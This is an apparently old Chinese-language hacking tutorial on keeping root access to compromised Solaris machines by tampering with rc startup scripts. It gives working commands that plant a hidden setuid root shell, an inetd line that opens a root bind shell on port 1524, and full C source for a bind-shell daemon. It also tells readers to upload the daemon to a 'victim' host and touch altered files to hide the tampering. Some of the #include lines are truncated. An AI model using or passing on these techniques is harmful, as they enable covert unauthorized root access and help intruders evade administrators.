by scz:
关于backend的后门技巧.已经可以让很多的管理员防不胜防了.但是.我这里想
补充一点,只是我自己的一点看法.
关于backend的后门技巧.已经可以让很多的管理员防不胜防了.但是.我这里想
补充一点,只是我自己的一点看法.
1:超级服务器守护进程(inetd)的配置文件。系统管理员一般情况下不经常检
查该文件,因此这倒是个放置“后门”的好地方。:)-----------引文
既然可以在这里放置后门,那么为什么不再深入一点,在rc文件里面做手脚呢?
管理员或许可能检查inetd.conf.因为毕竟这是一个文件.而rc.xxx有好多文件.
管理员在配置好以后,一般很不愿意去检查或者改动.以防止网络或者系统配置出
现问题.那么,我们就可以着手了.
lgwu$uname -a
SunOS xxxx 5.6 Generic_105181-13 sun4u sparc SUNW,Ultra-4
sun solaris的rc文件在/etc下面.具体的位置是rc2.d和rc3.d,而在sunos下面的
rc文件是如此众多.我觉得没有多少管理员愿意仔细察看具体的文件有类似的
lgwu/etc/rc2.d$ls -l
total 140
lrwxrwxrwx 1 root root 13 Apr 26 1999K20spc> ../init.d/spc
-rwxr--r-- 5 root sys 1738 Jul 16 1997 K60nfs.server
-rwxr--r-- 5 root sys 1738 Jul 16 1997 K60nfs.server
-rwxr-xr-x 3 root sys 677 Jul 16 1997 K76snmpdx
-rwxr-xr-x 3 root sys 951 Jul 16 1997 K77dmi
-rw-r--r-- 1 root sys 1369 Jul 16 1997 README
-rwxr--r-- 3 root sys 619 Jul 16 1997 S01MOUNTFSYS
-rwxr--r-- 2 root sys 2272 Jul 16 1997 S05RMTMPFILES
-rwxr--r-- 2 root sys 822 Jul 16 1997 S20sysetup
-rwxr--r-- 2 root sys 548 Jul 16 1997 S21perf
-rwxr-xr-x 2 root sys 1644 Jul 3 1997 S30sysid.net
-rwxr--r-- 4 root sys 1474 Jan 16 1998 S47asppp
-rwxr--r-- 2 root sys 5645 Jul 16 1997 S69inet
-rwxr--r-- 2 root sys 212 Jul 16 1997 S70uucp
..............................
sunos下面以"S"打头的是启动时需要得shell script.(S means Start)
lgwu/etc/rc2.d$cat S98sshd
#!/bin/sh
echo "Starting sshd ..."
/usr/local/sbin/sshd
ok,既然在启动的时候需要加载这些shell script.那么也大可以把你想加载的
后门一起load 进去办法很多.如果你有确定的用户,那么比较好的办法就是在
启动文件里面帮助你cp一个suid的rootshell.
这里要注意一点.要看看这些shell script在什么地方exit 0.免得你的后门没
有被执行就exit 0了,那么!@##$!@#@.
lgwu/usr/spool/lp$echo "cp /bin/ksh /usr/spool/lp/.bob">>S99dtlogin
lgwu/usr/spool/lp$echo "chmod 4755 /usr/spool/lp/.bob">>S99dtlogin
你可以选择你觉得合适的Sxxxx,但一般选择S99dtlogin或者管理员自己增加的Sxx
好了.我们来看看
lgwu/etc/rc2.d$tail S99dtlogin
update_printers
;;
*)
usage_error
exit 1
;;
esac
cp /bin/ksh /usr/spool/lp/.bob
chmod 4755 /usr/spool/lp/.bob
exit 0
好.一个suid shell的后门就好了.
2:如果你没有一个账号,那么就开一个bind shell的后门也是可以的
首先,你要建立一个让inetd启动的文件
# cat /usr/spool/uucp/.bob;
ingreslock stream tcp nowait root /bin/sh sh -i
好,然后在你需要的rc文件里面加入这个后门
# tail S94*;
'stop')
killproc ns-httpd
;;
*)
echo "Usage: /etc/init.d/entprise.server { start | stop }"
;;
esac
#now start a back door
/usr/sbin/inetd -s /usr/spool/uucp/.bob
ok,这样在服务器reboot以后.在port 1524(ingreslock对应的tcp port)
将出现一个bind shell backdoor.
lgwu~$telnet xxx.xxx.xxx 1524
Trying 1.1.1.1...
Connected to xxx.xxx.xxx.
Escape character is '^]'.
# id;
uid=0(root) gid=0(root)
3:利用/etc/services里面出现的服务虽然简单.但是如果对方admin认为这个服务
不需要而把这个服务删除.那么我们还有办法.这里要先编译一个daemon 程序
********************************cut***********************
lgwu~$cat bindshell.c
/* quick thingy... bind a shell to a socket... defaults to port 31337 */
/* code by pluvius@io.org */
/* don't forget.. when you connect to the port.. commands are like: */
/* "ls -l;" or "exit;" (don't forget the ';') */
/* dont forget to use -lsocket when u compile in a solaris box .lgwu */
#define PORT 34717
#include
#include
#include
#include
#include
int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid;
struct sockaddr_in serv_addr;
struct sockaddr_in client_addr;
int main ()
{
soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (soc_des == -1)
exit(-1);
bzero((char *) &serv_addr, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
serv_addr.sin_port = htons(PORT);
soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));
if (soc_rc != 0)
exit(-1);
if (fork() != 0)
exit(0);
setpgrp();
signal(SIGHUP, SIG_IGN);
if (fork() != 0)
exit(0);
soc_rc = listen(soc_des, 5);
if (soc_rc != 0)
exit(0);
while (1) {
soc_len = sizeof(client_addr);
soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &soc_len);
if (soc_cli < 0)
exit(0);
cli_pid = getpid();
server_pid = fork();
if (server_pid != 0) {
dup2(soc_cli,0);
dup2(soc_cli,1);
dup2(soc_cli,2);
execl("/bin/sh","sh -i",(char *)0);
close(soc_cli);
exit(0);
}
close(soc_cli);
}
}
************************************end****************************
#define PORT 34717 这个地方定义你需要这个程序监听的port
好,先把他编译好 (gcc bindshell.c -o bind -lsocket).然后传到victim下面
(use rcp is better)
# tail /etc/rc2.d/S99dtlogin;
update_printers
;;
*)
usage_error
exit 1
;;
esac
/usr/spool/lp/.bob
exit 0
: not found
这样在机器reboot以后将在PORT开放一个bind shell,因为rc文件由root启动
这样bind shell就有root权限 :-))
当然你也可以把这个程序放在crontab里面,或者用at启动 . :-)
linux和freebsd sco openserver下面也可以用类似的办法在rc文件里面放置
backdoor这里我就不重复了
PS:千万别忘记了touch你修改过的rc file